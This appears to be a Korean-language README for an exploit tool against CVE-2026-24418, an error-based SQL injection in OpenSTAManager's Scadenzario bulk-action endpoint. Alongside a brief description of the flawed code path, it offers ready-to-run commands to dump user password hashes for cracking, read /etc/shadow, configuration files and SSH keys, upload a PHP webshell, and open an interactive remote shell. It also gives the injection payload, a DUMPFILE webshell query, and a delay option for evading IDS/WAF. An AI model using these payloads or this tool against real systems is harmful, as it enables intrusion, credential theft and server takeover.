
OpenSTAManager v2.9.8 및 이전 버전은 Scadenzario(지불 일정) 모듈의 일괄 작업 처리기에 중요한 오류 기반 SQL 인젝션 취약점을 포함합니다.
OpenSTAManager <= 2.9.8 — Scadenzario 일괄 작업 모듈의 오류 기반 SQL 인젝션
| 필드 | 세부정보 |
|---|---|
| CVE ID | CVE-2026-24418 |
| 심각도 | HIGH (8.8) |
| CWE | CWE-89: SQL Injection |
| 영향받는 버전 | OpenSTAManager <= 2.9.8 |
| 취약한 매개변수 | id_records[] (POST array) |
| 취약한 엔드포인트 | /actions.php?id_module=18 |
| 공격 유형 | Error-Based SQL Injection (EXTRACTVALUE) |
| 인증 | Required (any valid user account) |
OpenSTAManager v2.9.8 및 이전 버전은 Scadenzario(지불 일정) 모듈의 일괄 작업 처리기에 치명적인 오류 기반 SQL 인젝션 취약점을 포함하고 있습니다. 이 애플리케이션은 id_records[] 배열의 요소가 정수인지 검증하지 않고 SQL IN() 절에 사용하므로, 인증된 공격자가 임의의 SQL 명령을 주입하고 XPATH 오류 메시지를 통해 민감한 데이터를 추출할 수 있습니다.
/actions.php는 POST를 통해 id_records[]를 수신합니다.array_clean()은 빈 값만 제거하고, 데이터 타입은 검증하지 않습니다./modules/scadenzario/bulk.php는 살균되지 않은 값을 SQL IN() 절에 직접 전달합니다.git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all
# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Output files:
# ./loot/users.json - Full user data
# ./loot/users.csv - CSV format
# ./loot/hashes_hashcat.txt - Hashcat format (mode 3200)
# ./loot/hashes_john.txt - John format (user:hash)
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE will auto-upload webshell if none exists
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Generated files:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k
대상:
-t, --target 대상 베이스 URL
인증:
-u, --user 로그인 사용자명
-p, --password 로그인 비밀번호
-c, --cookie 기존 PHPSESSID 값
열거:
-D, --database 대상 데이터베이스 이름
-T, --table 대상 테이블 이름
-C, --columns-list 덤프할 열 목록 (쉼표로 구분)
--limit 덤프의 행 제한
작업:
--info 데이터베이스 서버 정보
--users zz_users 자격 증명 덤프
--dbs 데이터베이스 열거
--tables 테이블 목록
--columns 열 목록 (-T 필요)
--dump 데이터 덤프 (-T 및 -C 필요)
--sql QUERY 사용자 정의 SQL 쿼리
--all --info + --privs + --users 실행
--privs MySQL 권한 확인
파일 작업:
--file-read PATH LOAD_FILE()을 통해 파일 읽기
--file-read-hex PATH HEX 인코딩을 통해 파일 읽기
원격 코드 실행:
--webshell PHP 웹쉘 업로드
--webroot PATH 쉘 업로드를 위한 웹루트 경로
--rce 대화형 명령 실행
출력:
-o, --output DIR 결과를 디렉토리에 저장
네트워크:
-m, --module-id 모듈 ID (기본값: 18)
--proxy HTTP 프록시 URL
-k, --no-ssl-verify SSL 검증 비활성화
--delay 요청 지연 (초)
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQL의 EXTRACTVALUE()는 XPATH 오류를 통해 최대 ~32자를 반환합니다. 이 도구는 SUBSTRING()을 사용하여 긴 결과를 자동으로 청크합니다:
SUBSTRING((<query>), 1, 31) -- Chunk 1
SUBSTRING((<query>), 32, 31) -- Chunk 2
...
오류 기반 컨텍스트에 대한 기술적 참고:
--webshell및--rce는 최대 범위를 위해 포함되어 있지만, MySQL은INTO DUMPFILE을 서브쿼리 또는IN()절 내에서 사용하는 것을 엄격히 금지합니다 (이 CVE의 주입 지점이 바로 그 위치입니다).따라서 이 특정 오류 기반 인젝션을 통해 직접 파일을 작성하는 것은 다음 경우가 아니면 일반적으로 구문 오류와 함께 실패합니다:
- 대상 환경이 Stacked Queries를 허용하는 경우 (현대 PHP/PDO 설정에서는 매우 드묾).
- 페이로드를 UNION 기반 인젝션으로 전환할 수 있는 경우.
--privs를 통해FILE권한을 확인했다면,--file-read및--file-read-hex를 사용하는 것이 가장 좋습니다.LOAD_FILE()은 오류 기반 서브쿼리 내에서 완벽하게 작동하기 때문입니다.
When FILE privilege is available and constraints allow:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오. 저자는 오용에 대한 책임을 지지 않습니다.
| 기능 | 설명 |
|---|
--info | 데이터베이스 서버 지문 수집 (버전, 사용자, 호스트명, OS, 경로) |
--privs | MySQL 권한 열거 (FILE, SUPER, PROCESS) |
--users | zz_users 테이블에서 전체 자격 증명 덤프 및 자동 해시 내보내기 |
--dbs | 접근 가능한 모든 데이터베이스 열거 |
--tables | 테이블 목록 및 행 개수 표시 |
--columns | 열 목록 및 타입, NULL 가능 여부 표시 |
--dump | 모든 테이블/열에서 데이터 추출 |
--sql | 사용자 정의 SQL 쿼리 실행 |
--file-read | LOAD_FILE()을 사용하여 서버 파일 읽기 (/etc/passwd, 설정 파일, SSH 키) |
--file-read-hex | HEX 인코딩 파일 읽기를 통해 필터 우회 |
--webshell | INTO DUMPFILE을 통해 PHP 웹쉘 업로드 |
--rce | 업로드된 웹쉘을 통한 대화형 명령 실행 |
-o / --output | 모든 결과를 JSON, CSV, hashcat/john 형식으로 저장 |
--proxy | HTTP 프록시 지원 (Burp Suite) |
--delay | 요청 지연을 통해 IDS/WAF 우회 |